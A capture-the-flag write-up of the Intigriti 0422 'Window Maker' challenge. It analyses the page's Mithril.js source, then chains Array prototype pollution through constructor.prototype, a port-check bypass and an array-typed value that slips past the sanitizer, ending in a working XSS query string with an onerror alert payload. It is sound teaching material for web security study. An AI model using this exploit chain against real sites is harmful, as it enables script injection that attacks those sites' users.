Analysis
When entering the challenge page we get a Win XP style UI generator.

Let’s enter some values and see what happens.

After submitting the input we get the following result.

Here we can see that some changes has been made to our input, both the space in the text from the Window name and Window content inputs are replaced with underscores.
Taking a look at the query parameters we can see a whole bunch of them.
?config[window-name]=Test name&config[window-content]=Test content&config[window-toolbar][0]=min&config[window-toolbar][1]=max&config[window-toolbar][2]=close&config[window-statusbar]=true
Now let’s take a look at the source code to see what’s going on.
In the first part of the body
tag we find out that the page is made by using Mithril
<!-- downloaded from https://unpkg.com/mithril@2.0.4/mithril.js -->
<script src="Window%20Maker_files/mithril.js"></script>
Taking a look at the official documentation for Mithril tells us that it’s a JavaScript framework for building Single Page Applications.
Let’s take a look at the script.
(function(){
const App = {
view: function() {
return m("div", {class: "window"}, [
m(TitleBar),
m(WindowBody),
m(StatusBar)
])
}
}
const TitleBar = {
view: function(vnode) {
const options = vnode.attrs.options || ['min', 'max', 'close']
const name = vnode.attrs.name || "Window Maker"
return m("div", {class: "title-bar"}, [
m("div", {class: "title-bar-text"}, String(name)),
m("div", {class: "title-bar-controls"}, [
options.includes('min') && m("button", {'aria-label': 'Minimize'}),
options.includes('max') && m("button", {'aria-label': 'Maximize'}),
options.includes('close') && m("button", {'aria-label': 'Close'}),
]),
])
}
}
const WindowBody = {
view: function() {
return m("div", {class: "window-body"}, [
m("p", [
"Do you miss these looks and feels? We can help!",
m("br"),
"Window Maker is a website to help people build their own UI in 3 minutes!"
]),
m("p", [
m(InputWindowName),
m(InputWindowContent),
m("br"),
m(InputToolbar),
m("br"),
m(InputStatusBar)
]),
m("button", {onclick: function() {
const windowName = document.querySelector('#win-name').value
const windowContent = document.querySelector('#win-content').value
const toolbar = Array.from(document.querySelectorAll('input[type=checkbox]:checked')).map(item => item.value)
const showStatus = document.querySelector('#radio-yes').checked
const config = {
'window-name': windowName,
'window-content': windowContent,
'window-toolbar': toolbar,
'window-statusbar': showStatus
}
const qs = m.buildQueryString({
config
})
window.location.search = '?' + qs
}}, "generate")
])
}
}
const InputWindowName = {
view: function(vnode) {
return m("div", {class: "field-row-stacked"}, [
m("label", {for: 'win-name' }, 'Window name'),
m("input", {id: 'win-name', type: 'text' }),
])
}
}
const InputWindowContent = {
view: function(vnode) {
return m("div", {class: "field-row-stacked"}, [
m("label", {for: 'win-content' }, 'Window content(plaintext only)'),
m("textarea", {id: 'win-content', rows: '8' }),
])
}
}
const InputToolbar = {
view: function(vnode) {
return m("div", [
m("div", {class: "field-row"}, [
m("label", "Toolbar"),
]),
m(Checkbox, { id: "toolbar-min", value: "min" }),
m(Checkbox, { id: "toolbar-max", value: "max" }),
m(Checkbox, { id: "toolbar-close", value: "close" }),
])
}
}
const Checkbox = {
view: function(vnode) {
return m("div", {class: "field-row"}, [
m("input", {id: String(vnode.attrs.id), type: 'checkbox', value: String(vnode.attrs.value) }),
m("label", {for: String(vnode.attrs.id) }, String(vnode.attrs.value)),
])
}
}
const InputStatusBar = {
view: function() {
return m("div", [
m("div", {class: "field-row"}, [
m("label", "Status bar"),
]),
m(RadioButton, { id: "radio-yes", value: "Yes" }),
m(RadioButton, { id: "radio-no", value: "No" }),
])
}
}
const RadioButton = {
view: function(vnode) {
return m("div", {class: "field-row"}, [
m("input", {id: String(vnode.attrs.id), type: 'radio', name: 'status-radio' }),
m("label", {for: String(vnode.attrs.id) }, String(vnode.attrs.value)),
])
}
}
const StatusBar = {
view: function() {
return m("div", {class: "status-bar"}, [
m("p", {class: "status-bar-field"}, "Press F1 for help"),
m("p", {class: "status-bar-field"}, "Powered by XP.css and Mithril.js"),
m("p", {class: "status-bar-field"}, "CPU Usage: 32%"),
])
}
}
const CustomizedApp = {
view: function(vnode) {
return m("div", {class: "window"}, [
m(TitleBar, {name: vnode.attrs.name, options: vnode.attrs.options}),
m("div", {class: "window-body"},[
String(vnode.attrs.content)
]),
vnode.attrs.status && m(StatusBar)
])
}
}
function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
merge(appConfig, qs.config)
appConfig["customMode"] = true
}
let devSettings = Object.create(null)
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
if (checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}
document.body.appendChild(devSettings.root)
}
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
main()
})()
Here we have quite a bit of JavaScript to go through, so let’s start from the top and see whats going on.
According to the Mithril documentation the bulk part of the script is components used to create the page.
For example, this is the StatusBar
component that will render the status bar at the bottom of the UI.
const StatusBar = {
view: function() {
return m("div", {class: "status-bar"}, [
m("p", {class: "status-bar-field"}, "Press F1 for help"),
m("p", {class: "status-bar-field"}, "Powered by XP.css and Mithril.js"),
m("p", {class: "status-bar-field"}, "CPU Usage: 32%"),
])
}
}
Here we see the usage of the function m
, and taking a look at the documentation this is the way to create DOM elements using Mithril. Checking all components we see that all DOM elements are created using constants, so we are not able to inject any elements this way. So let’s focus on the rest of the script.
After the components we have the function main
.
function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
merge(appConfig, qs.config)
appConfig["customMode"] = true
}
let devSettings = Object.create(null)
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
if (checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}
document.body.appendChild(devSettings.root)
}
Here we have some interesting functionality. First of all we have the call to parseQueryString
which will parse the query string and turn it into an object. If we use the data from the query string we got when sending some values in the initial field, we get the following object from parseQueryString
.
{
"config": {
"window-name": "Test name",
"window-content": "Test content",
"window-toolbar": ["min", "max", "close"],
"window-statusbar": true
}
}
After the query string is parsed, a dictionary object named appConfig
is created an initialized with some default values. Then a check to see if the config
prop exists on the parsed query string object, if it exists a call to the function merge
is made with the appConfig
and the supplied query string object.
Then another dictionary object is created named devSettings
, which contains a main
element and some other settings. Then a call to checkHost
is made and if it returns true
a call to the merge
function with the devSettings
and the settings object from the query string is made.
After this there’s a check to see if isTestHostOrPort
or isDebug
on the devSettings
object is true, if one of them are true the appConfig
and devSettings
objects are printed to the JavaScript console.
Finally we have the rendering of the components, if the customMode
on the appConfig
is false, the default App
component is rendered using the main
element from devSettings
. Otherwise the CustomizedApp
component is rendered using the main
element from devSettings
and the values from the appConfig
object.
Now we can take a closer look at the other functions called from main
. Let’s start with the merge
function.
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
This function will iterate over each key on an object and assigning each value to the target object. However there’s a list of protected keys that won’t be copied.
For each key a check is made using the isPrimitive
function. Let’s take a look at that function.
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}
This checks if the type of the value is a primitive type (basic data types, in this case null
, undefined
, string
, boolean
and number
) and if it is a primitive type, the result of the call to sanitize
using the new value is assigned to the target object. If the current key is a complex type, a recursive call to the merge
function is made to make a deep copy of the data structure.
Let’s check out the sanitize
function.
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
All this function does is to replace the characters <
, >
, %
, &
, $
, space, \
and the word script
with underscores if the data type is string
, hence the modified output when we submitted the form earlier.
So after calling the merge
function, the parsed query string parameters are assigned to the target object.
Now let’s check the last function, checkHost
.
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
This function takes the location.host
variable and checks if the hostname
part is localhost
or the port
part is 8080
and return true
if either is a match.
Now we know a bit more of how the application works and can proceed.
Bypassing checkHost
First let’s take another look ath the checkHost
function.
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
To verify the hostname and port, the location.host
variable is split by the port-separator, :
. But since the location.host
variable won’t have any port-separator on the challenge page, we will only get the hostname in the temp
array.

This means that the port
constant will be set to 443
. There’s no way for us to modify the location.host
variable since this will redirect us from the challenge page, so we need to find a way to get the port
constant to be 8080
.
How can we do this? Let’s start by looking at the merge
function again, since it’s the only place our input is being used at the moment.
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
As we discovered earlier, this function will assign each value from the parsed query string to the target object, which in this case is appConfig
.
This means that we should be able to assign our own keys and values to the appConfig
object. To verify this we can enter the following query string, ?config[test]=test, set a breakpoint after the merge
call using the debugger and finally checking the values of the appConfig
object.
First let’s set the breakpoint.

Now we can reload the page and use the console examine the object.

As we can see in the output we have the key test
with the value test
.
This means that we might be able to use prototype pollution to be able to bypass the checkHost
check. But since the key __proto__
is in the protectedKeys
array in the merge
function, how could we do this? Well, the __proto__
key isn’t the only way to achieve prototype pollution, we could also use the constructor.prototype
property to achieve this. And since none of those keys are in the protectedKeys
array we can use those keys instead.
If we enter the following query string ?config[constructor][prototype][test]=test to set the test
property of the object
prototype and checking the appConfig
object we get the following.

But trying to verify the prototype pollution shows that it failed.

This is because the creation of the appConfig
object is done by Object.create(null)
which will create a constructor-less object. So we have to find another way to abuse this. If we take a look at the appConfig
object again we can see that the window-toolbar
property is an array. Let’s see if we can pollute the array prototype instead.
If we send the following query string ?config[window-toolbar][constructor][prototype][test]=test to set the test
property on the Array
prototype, we see the following in the appConfig
object.

Now we have the property test
in the Array
prototype. And when we verify that the prototype pollution works we get the following.

We have successfully polluted the Array
prototype.
So how can we use this to bypass the checkHost
check? Since const temp = location.host.split(':')
will result in an array with only one element and the const port = Number(temp[1]) || 443
will try to get the non existent second element of the array, we can try to set the property 1
on the Array
prototype to the value 8080
. To verify that this should work we can try this out in the console.

And to verify that it works, we create another array and try to access the second element.

If we send the query string ?config[window-toolbar][constructor][prototype][1]=8080 we get the following output in the console.

Let’s take a look at the checkHost
check in the main
function again.
if (checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
So the output in the console indicates that we have successfully bypassed the check.
Injecting the payload
Now we are able to modify both the appConfig
and devSettings
objects. As we have seen, the devSettings
object contains the HTML element for the page in the property root
. Let’s see if we can modify the innerHTML
property with our payload.
To set the values on devSettings
the object qs.settings
is used, which means that our query string parameter should look something like settings[root][innerHTML]. So let’s try it out with the payload <img src=x onerror=alert(document.domain) /> and see what happens.
Using the query string ?config[window-toolbar][constructor][prototype][1]=8080&settings[root][innerHTML]=<img%20src%3Dx%20onerror%3Dalert(document.domain)%20%2F> nothing happens.
Taking a look at the innerHTML
property of the main
element we see the following.

But that’s because the call to m.mount
will replace the HTML in the element with the rendered components. So if we set a breakpoint right after the merge(devSettings, qs.settings)
call and taking a look at the innerHTML
property we see _img_src=x_onerror=alert(document.domain)_/_. Great! Now all we have left to do is to bypass the sanitize
function.
Bypassing sanitize
Let’s take another look at the sanitize
function.
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
So the only data type that will be sanitized is string
. How can we bypass this? Let’s take a look at the merge
function again.
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
So if the target[key]
value is a primitive, sanitize
with the source[key]
value is called. This means that if a property on the existing object is a primitive we could assign another type to that property and thus bypassing the sanitization. But what type can we use that will work for us?
As it turns out, Array
would probably do the trick, since the toString
function will basically call array.join(',')
and return the result, as shown in the following screenshot.

So how can we change the type to an array? Let’s take another look at the Mithril documentation for parseQueryString
. Here we find a section on Deep Data Structures which tells us the following.
“Querystrings that contain bracket notation are correctly parsed into deep data structures”
m.parseQueryString("a[0]=hello&a[1]=world")
// data is {a: ["hello", "world"]}
This seems promising, let’s try it out. If we add [] to the end of the settings[root][innerHTML] parameter, we should get an array. Using the query string ?config[window-toolbar][constructor][prototype][1]=8080&settings[root][innerHTML][]=<img%20src%3Dx%20onerror%3Dalert(document.domain)%20%2F> we get our alert.
